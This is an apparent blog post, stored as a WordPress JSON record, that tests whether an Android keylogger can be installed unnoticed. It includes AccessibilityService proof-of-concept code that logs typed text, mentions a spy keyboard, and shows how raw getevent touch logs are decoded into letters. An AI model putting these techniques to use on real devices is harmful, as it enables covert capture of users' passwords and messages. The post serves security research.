{"id":119,"date":"2024-03-09T19:03:47","date_gmt":"2024-03-09T19:03:47","guid":{"rendered":"https:\/\/tolva.fr\/?p=119"},"modified":"2025-03-08T22:11:28","modified_gmt":"2025-03-08T22:11:28","slug":"keylogger-in-android","status":"publish","type":"post","link":"https:\/\/tolva.fr\/index.php\/2024\/03\/09\/keylogger-in-android\/","title":{"rendered":"keylogger in android"},"content":{"rendered":"\n<p>I was quite surprised when i learned several years ago that both on Linux and Windows operating systems, a <em>not-so privileged<\/em> user (that is to say a non-root user on Linux and a non-Admin user on Windows) can use a keylogger by setting hooks.<\/p>\n\n\n\n<p>Several techniques exist to do so (on Windows, function <code>SetWindowsHookEx<\/code> can be used to define a hook and intercept events incoming from keyboard ; on a Linux with X11 server, <code>XNextEvent<\/code> function can be used to get the keyborard events), and i wondered if such a thing was possible on an Android device: Can an unprivilegied application intercept keystrokes ?<\/p>\n\n\n\n<p>Android is quite different from a \u00ab\u00a0normal\u00a0\u00bb PC with Linux or Windows and is a much more compartmentalized environment, were an <em>unprivileged<\/em> application (without any android permission) cannot do a lot of damage, so the question is maybe not really relevant.<\/p>\n\n\n\n<p>On a PC, the typical malware\/spyware installation scenarios are:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>scenario where someone triggers you into executing code on your device,<\/li>\n\n\n\n<li>scenario where someone with temporary access to your device abuses your trust and install something.<\/li>\n<\/ul>\n\n\n\n<p>On a PC, such an attacker can do without being spotted (for instance on Linux you can modify <code>.bashrc<\/code> file to gain persistency. Unless you edit this file, this modification can pass under the radar).<\/p>\n\n\n\n<p>The real question is therefore: Can someone with a temporary access to my phone install a keylogger without me noticing ?<\/p>\n\n\n\n<p class=\"has-large-font-size\"><strong>AccessibilityService<\/strong><\/p>\n\n\n\n<p>As described on https:\/\/developer.android.com, the purpose of an accessibility service is to allow peoples with temporary or permanent disabilities to interact with their phone.<\/p>\n\n\n\n<p>Such a service extends the <code>AccessibilityService<\/code> class. It receives some AccessibilityEvent and handle them with its <code>onAccessibilityEvent<\/code> method.<\/p>\n\n\n\n<p>This service has a specific intent filter (whose action is <code>android.accessibilityservice.AccessibilityService<\/code>) declared in the app manifest.<\/p>\n\n\n\n<p>Sending such intents requires the <code>BIND_ACCESSIBILITY_SERVICE<\/code> permission, which is reserved to system to ensure only system can bind to it:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;service\n    android:name=\".KeyloggingService\"\n    android:exported=\"true\"\n    android:permission=\"android.permission.BIND_ACCESSIBILITY_SERVICE\"&gt;\n    &lt;intent-filter&gt;\n        &lt;action android:name=\"android.accessibilityservice.AccessibilityService\" \/&gt;\n    &lt;\/intent-filter&gt;\n&lt;\/service&gt;<\/code><\/pre>\n\n\n\n<p>A malware can use those functionalities to intercept the user activity and exfiltrate it.<\/p>\n\n\n\n<p>This PoC only writes the keystrokes into logcat:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide\"><code>@Override\npublic void onAccessibilityEvent(AccessibilityEvent event) {\n\n    Log.d(\"AccessibilityKeylogger\", \"onAccessibilityEvent() function\");\n\n    switch (event.getEventType())\n    {\n        case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:\n            String c = event.getText().toString();\n            Log.d(\"AccessibilityKeylogger\", \" keystroke: \" + c);\n            break;\n        default:\n            break;\n    }\n}<\/code><\/pre>\n\n\n\n<p>As shown is this screenshot, this keylogger works fine:<\/p>\n\n\n\n<figure class=\"wp-block-image alignwide size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1766\" height=\"938\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/accessibilityKeyloggerDemo.png\" alt=\"\" class=\"wp-image-120\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/accessibilityKeyloggerDemo.png 1766w, https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/accessibilityKeyloggerDemo-300x159.png 300w, https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/accessibilityKeyloggerDemo-768x408.png 768w, https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/accessibilityKeyloggerDemo-1536x816.png 1536w\" sizes=\"auto, (max-width: 1766px) 100vw, 1766px\" \/><\/figure>\n\n\n\n<p>However, the system &#8211; at least on Android 14 (i haven&rsquo;t test on previous Android versions) &#8211; the user is clearly asked whether he\/she wants to use the app as an accessibility service, and is explicitely warned of the possible risks and consequences:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"329\" height=\"443\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/AccessibilityServiceKeyloggerWarning.png\" alt=\"\" class=\"wp-image-121\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/AccessibilityServiceKeyloggerWarning.png 329w, https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/AccessibilityServiceKeyloggerWarning-223x300.png 223w\" sizes=\"auto, (max-width: 329px) 100vw, 329px\" \/><\/figure>\n\n\n\n<p class=\"has-large-font-size\"><strong>BIND_INPUT_METHOD<\/strong><\/p>\n\n\n\n<p>Another technique that allows to build a keylogger is based on <code>InputMethodService<\/code> and <code>KeyboardView<\/code> classes (this last class is deprecated, but it&rsquo;s still possible to develop an application who uses it), which can be used to provide customized keyboards.<\/p>\n\n\n\n<p>This app, an adapted version from <\/p>\n\n\n\n<p>https:\/\/github.com\/AbhishekNuevo\/AndroidKeylogger, just dumps the keystrokes into logcat:<\/p>\n\n\n\n<figure class=\"wp-block-video\"><video height=\"1080\" style=\"aspect-ratio: 1920 \/ 1080;\" width=\"1920\" controls src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/spyKeyboardDemo.webm\"><\/video><\/figure>\n\n\n\n<p>Here, again (at least on Android 14), the user is clearly warned about the possibles risks and consequences:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"1080\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/spyKeyboardWarning.png\" alt=\"\" class=\"wp-image-123\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/spyKeyboardWarning.png 1920w, https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/spyKeyboardWarning-300x169.png 300w, https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/spyKeyboardWarning-768x432.png 768w, https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/spyKeyboardWarning-1536x864.png 1536w\" sizes=\"auto, (max-width: 1920px) 100vw, 1920px\" \/><\/figure>\n\n\n\n<p class=\"has-large-font-size\"><strong>getevent and \/dev\/input\/*<\/strong><\/p>\n\n\n\n<p>As described in https:\/\/docs.kernel.org\/input\/input.html, hardware provides events to device drivers.<\/p>\n\n\n\n<p>Those events are forwarded to input subsystem who in its turn forwards them to event handlers.<\/p>\n\n\n\n<p>It is possible to get such events from an adb shell using the getevent tool. This tool can provide information about the \/dev\/input\/ devices:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"738\" height=\"576\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/input_devices_enum.png\" alt=\"\" class=\"wp-image-124\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/input_devices_enum.png 738w, https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/input_devices_enum-300x234.png 300w\" sizes=\"auto, (max-width: 738px) 100vw, 738px\" \/><\/figure>\n\n\n\n<p>More interesting, it allows to observe those events:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"561\" height=\"507\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/input_events_observation.png\" alt=\"\" class=\"wp-image-125\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/input_events_observation.png 561w, https:\/\/tolva.fr\/wp-content\/uploads\/2024\/03\/input_events_observation-300x271.png 300w\" sizes=\"auto, (max-width: 561px) 100vw, 561px\" \/><\/figure>\n\n\n\n<p>Each event has a timestamp, a type, a code and a value<\/p>\n\n\n\n<p>Event types are described on common\/include\/uapi\/linux\/input-event-codes.h, and event code are described on common\/include\/uapi\/linux\/input-event-codes.h:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>EV_ABS<\/code>: This events represents a change on the area of the screen touched by the user.\n<ul class=\"wp-block-list\">\n<li><code>ABS_MT_TRACKING_ID<\/code>: Unique ID of the initiated contact<\/li>\n\n\n\n<li><code>ABS_MT_POSITION_X<\/code>: X coordinate of the pressed screen area<\/li>\n\n\n\n<li><code>ABS_MT_POSITION_Y<\/code>: Y coordinate of the pressed screen area<\/li>\n\n\n\n<li><code>ABS_MT_PRESSURE<\/code>: Pressure on contact area<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><code>EV_SYN<\/code> is a special event type dedicated to separate input packets into. The only observed associated event code is <code>SYN_REPORT<\/code>.<\/li>\n<\/ul>\n\n\n\n<p>We clearly see a pattern when a touch from the keyboard is pressed:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide\"><code>&#91;   91540.241492] EV_ABS       ABS_MT_POSITION_X    00001425            \n&#91;   91540.241492] EV_ABS       ABS_MT_POSITION_Y    00005bad            \n&#91;   91540.241492] EV_ABS       ABS_MT_PRESSURE      00000400            \n&#91;   91540.241492] EV_SYN       SYN_REPORT           00000000            \n&#91;   91540.385397] EV_ABS       ABS_MT_PRESSURE      00000000            \n&#91;   91540.385397] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            \n&#91;   91540.385397] EV_SYN       SYN_REPORT           00000000            \n&#91;   91541.717198] EV_ABS       ABS_MT_TRACKING_ID   00000000            \n&#91;   91541.717198] EV_ABS       ABS_MT_POSITION_X    00001f68            \n&#91;   91541.717198] EV_ABS       ABS_MT_PRESSURE      00000400            \n&#91;   91541.717198] EV_SYN       SYN_REPORT           00000000            \n&#91;   91541.897316] EV_ABS       ABS_MT_PRESSURE      00000000            \n&#91;   91541.897316] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            \n&#91;   91541.897316] EV_SYN       SYN_REPORT           00000000            \n&#91;   91542.944620] EV_ABS       ABS_MT_TRACKING_ID   00000000<\/code><\/pre>\n\n\n\n<p>We can therefore parse the input events to recover which letter was typed using the coordinates of the event, using a small python script (<a href=\"https:\/\/github.com\/T0lva\/android_getevent\/blob\/master\/interpret_event.py\" data-type=\"link\" data-id=\"https:\/\/github.com\/tmalherbe\/android_getevent\/blob\/master\/interpret_event.py\">https:\/\/github.com\/T0lva\/android_getevent\/blob\/master\/interpret_event.py)<\/a>:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide\"><code>thomas@ankou:~\/articles$ cat event.log\n&#91;     468.504723] EV_ABS       ABS_MT_TRACKING_ID   00000000            \n&#91;     468.504723] EV_ABS       ABS_MT_POSITION_X    00003999            \n&#91;     468.504723] EV_ABS       ABS_MT_POSITION_Y    00005b4d            \n&#91;     468.504723] EV_ABS       ABS_MT_PRESSURE      00000400            \n&#91;     468.504723] EV_SYN       SYN_REPORT           00000000            \n&#91;     468.682600] EV_ABS       ABS_MT_PRESSURE      00000000            \n&#91;     468.682600] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            \n&#91;     468.682600] EV_SYN       SYN_REPORT           00000000            \n&#91;     470.997704] EV_ABS       ABS_MT_TRACKING_ID   00000000            \n&#91;     470.997704] EV_ABS       ABS_MT_POSITION_X    00006bba            \n&#91;     470.997704] EV_ABS       ABS_MT_POSITION_Y    00005b17            \n&#91;     470.997704] EV_ABS       ABS_MT_PRESSURE      00000400            \n&#91;     470.997704] EV_SYN       SYN_REPORT           00000000            \n&#91;     471.140407] EV_ABS       ABS_MT_PRESSURE      00000000            \n&#91;     471.140407] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            \n&#91;     471.140407] EV_SYN       SYN_REPORT           00000000            \n&#91;     471.824975] EV_ABS       ABS_MT_TRACKING_ID   00000000            \n&#91;     471.824975] EV_ABS       ABS_MT_POSITION_X    00007313            \n&#91;     471.824975] EV_ABS       ABS_MT_POSITION_Y    000062ee            \n&#91;     471.824975] EV_ABS       ABS_MT_PRESSURE      00000400            \n&#91;     471.824975] EV_SYN       SYN_REPORT           00000000            \n&#91;     471.967737] EV_ABS       ABS_MT_PRESSURE      00000000            \n&#91;     471.967737] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            \n&#91;     471.967737] EV_SYN       SYN_REPORT           00000000            \n&#91;     475.456775] EV_ABS       ABS_MT_TRACKING_ID   00000000            \n&#91;     475.456775] EV_ABS       ABS_MT_POSITION_X    00003fc2            \n&#91;     475.456775] EV_ABS       ABS_MT_POSITION_Y    00006ca2            \n&#91;     475.456775] EV_ABS       ABS_MT_PRESSURE      00000400            \n&#91;     475.456775] EV_SYN       SYN_REPORT           00000000            \n&#91;     475.456925] EV_ABS       ABS_MT_PRESSURE      00000000            \n&#91;     475.456925] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            \n&#91;     475.456925] EV_SYN       SYN_REPORT           00000000            \n&#91;     475.460034] EV_ABS       ABS_MT_TRACKING_ID   00000000            \n&#91;     475.460034] EV_ABS       ABS_MT_POSITION_X    00000ed0            \n&#91;     475.460034] EV_ABS       ABS_MT_POSITION_Y    0000628e            \n&#91;     475.460034] EV_ABS       ABS_MT_PRESSURE      00000400            \n&#91;     475.460034] EV_SYN       SYN_REPORT           00000000            \n&#91;     476.477166] EV_ABS       ABS_MT_PRESSURE      00000000            \n&#91;     476.477166] EV_ABS       ABS_MT_TRACKING_ID   ffffffff            \n&#91;     476.477166] EV_SYN       SYN_REPORT           00000000            \n&#91;     529.386561] EV_ABS       ABS_MT_TRACKING_ID   00000000           \nthomas@ankou:~\/articles$ .\/interpret_event.py .\/event.log\n.\/interpret_event.py\nt\no\nl\nv\na<\/code><\/pre>\n\n\n\n<p>This therefore definitely allows to build a keylogger whose existence is not explicitly reported to the user with an warning message similar to those we&rsquo;ve seen above.<br>However, this keylogger needs to be in the input group (gid = 1004), which is not the case of a <em>normal<\/em> application, which will have an uid greater than 10000.<\/p>\n\n\n\n<p>getevent therefore doesn&rsquo;t allow to build a keylogger without using the adb debug bridge, and that is probably for the best !<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I was quite surprised when i learned several years ago that both on Linux and Windows operating systems, a not-so privileged user (that is to say a non-root user on Linux and a non-Admin user on Windows) can use a keylogger by setting hooks. Several techniques exist to do so (on Windows, function SetWindowsHookEx can [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-119","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/posts\/119","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/comments?post=119"}],"version-history":[{"count":2,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/posts\/119\/revisions"}],"predecessor-version":[{"id":314,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/posts\/119\/revisions\/314"}],"wp:attachment":[{"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/media?parent=119"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/categories?post=119"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/tags?post=119"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}